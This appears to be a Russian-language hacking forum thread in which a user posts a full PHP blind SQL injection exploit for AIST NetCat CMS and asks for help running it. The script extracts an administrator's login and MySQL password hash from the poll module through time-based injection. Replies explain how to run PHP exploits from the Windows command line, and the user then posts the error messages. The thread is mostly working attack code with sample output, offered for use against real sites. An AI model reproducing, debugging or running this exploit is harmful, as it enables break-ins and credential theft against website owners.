Не получается запустить эксплойт для NetCat. Помогите. Вот он ниже. Code: <? /* AIST NetCat Blind SQL Injection exploit by s4avrd0w [s4avrd0w@p0c.ru] Versions affected <= 3.12 More info: http://www.netcat.ru/ * tested on version 3.0, 3.12 usage: # ./NetCat_blind_SQL_exploit.php -s=NetCat_server -u=User_ID The options are required: -u The user identifier (number in table) -s Target for exploiting example: # ./NetCat_blind_SQL_exploit.php -s=http://localhost/netcat/ -u=2 [+] Phase 1 brute login. [+] Brute 1 symbol... ...........a [+] Brute 2 symbol... ..............d [+] Brute 3 symbol... .......................m [+] Brute 4 symbol... ...................i [+] Brute 5 symbol... ........................n [+] Brute 6 symbol... ..................................... [+] Phase 1 successfully finished: admin [+] Phase 2 brute password-hash. [+] Brute 1 symbol... * [+] Brute 2 symbol... .0 [+] Brute 3 symbol... .0 [+] Brute N symbol... <...> [+] Brute 42 symbol... ..................................... [+] Phase 2 successfully finished: *00a51f3f48415c7d4e8908980d443c29c69b60c9 [+] Exploiting is finished successfully [+] Login - admin [+] MySQL hash - *00a51f3f48415c7d4e8908980d443c29c69b60c9 [+] Decrypt MySQL hash and login into NetCat CMS. */ function http_connect($query) { global $server; $headers = array( 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14', 'Referer' => $server ); $res_http = new HttpRequest($server."modules/poll/?cc=62&PollID=1".$query, HttpRequest::METH_GET); $res_http->addHeaders($headers); $t = mktime(); try { $response = $res_http->send()->getBody(); $t = mktime() - $t; if ($t > 4) { return 1; } else { return 0; } } catch (HttpException $exception) { print "[-] Not connected"; exit(0); } } function brute($User_id,$table) { $ret_str = ""; if ($table == "Password") { $b_str = "*1234567890abcdef"; } else { $b_str = "1abcdefghijklmnopqrstuvwxyz_234567890 !'#%&()*+,-./:;<=>?@[\]^{|}~абвгдежзийклмнопрстуфхцчшщъыьэюяё"; } $b_arr = str_split($b_str); for ($i=1;$i<43;$i++) { print "[+] Brute $i symbol...\n"; for ($j=0;$j<count($b_arr);$j++) { $brute = ord($b_arr[$j]); $q = "/**/AND/**/1=if((ASCII(lower(SUBSTRING((SELECT/**/$table/**/FROM/**/USER/**/limit/**/$User_id,1),$i,1))))=$brute,benchmark(1,benchmark(2000000,md5(now()))),0)"; if (http_connect($q)) { $ret_str=$ret_str.$b_arr[$j]; print $b_arr[$j]."\n"; break; } print "."; } if ($j == count($b_arr)) break; } return $ret_str; } function help_argc($script_name) { print " usage: # ./".$script_name." -s=NetCat_server -u=User_ID The options are required: -u The user identifier (number in table) -s Target for exploiting example: # ./".$script_name." -s=http://localhost/netcat/ -u=1 [+] Phase 1 brute login. [+] Brute 1 symbol... ..1 [+] Brute 2 symbol... ..................................... [+] Phase 1 successfully finished: 1 [+] Phase 2 brute password-hash. [+] Brute 1 symbol... ..................................... [+] Phase 2 successfully finished: [+] Exploiting is finished successfully [+] Login - 1 [+] MySQL hash - [+] You can login into NetCat CMS with the empty password "; } function successfully($login,$hash) { print " [+] Exploiting is finished successfully [+] Login - $login [+] MySQL hash - $hash "; if ($hash) print "[+] Decrypt MySQL hash and login into NetCat CMS.\n"; else print "[+] You can login into NetCat CMS with the empty password\n"; } if (($argc != 3) || in_array($argv[1], array('--help', '-help', '-h', '-?'))) { help_argc($argv[0]); exit(0); } else { $ARG = array(); foreach ($argv as $arg) { if (strpos($arg, '-') === 0) { $key = substr($arg,1,1); if (!isset($ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg)); } } if ($ARG[s] && $ARG[u]) { $server = $ARG[s]; $User_id = intval($ARG[u]); $User_id--; print "[+] Phase 1 brute login.\n"; $login = brute($User_id,"Login"); print "\n[+] Phase 1 successfully finished: $login\n"; print "[+] Phase 2 brute password-hash.\n"; $hash = brute($User_id,"Password"); print "\n[+] Phase 2 successfully finished: $hash\n"; successfully($login,$hash); } else { help_argc($argv[0]); exit(0); } } ?>
/printthread.php?t=26510&pp=40 : PHP сплойты 1) Качаем PHP (Впринцепе он есть и в Денвере и VertrigoServ можно юзать от туда) Опятьже открываем командну строку (Пуск>Выполнить>cmd) далее пишем "полный_путь_до_php.exe полный_путь_до_sploit.php" (Например: C:\PHP\php.exe C:\sploits\sploit.php) Дальше всё анологично перловым сплойтам.
в начале скрипта поставь #!/usr/local/bin/php т.е. #!/usr/local/bin/php <? echo "123\n"; ?> ps тема провисит до вечера, вечером перенесем.
Вот какие ошибки после того как вставил php C:\>php NetCat_blind_SQL_exploit.php -s=http://site/netcat/ -u=2 PHP Notice: Use of undefined constant s - assumed 's' in C:\NetCat_blind_SQL_ex ploit.php on line 123 PHP Notice: Use of undefined constant u - assumed 'u' in C:\NetCat_blind_SQL_ex ploit.php on line 123 PHP Notice: Use of undefined constant s - assumed 's' in C:\NetCat_blind_SQL_ex ploit.php on line 125 PHP Notice: Use of undefined constant u - assumed 'u' in C:\NetCat_blind_SQL_ex ploit.php on line 126 [+] Phase 1 brute login. [+] Brute 1 symbol... PHP Fatal error: Class 'HttpRequest' not found in C:\NetCat_blind_SQL_exploit.p hp on line 7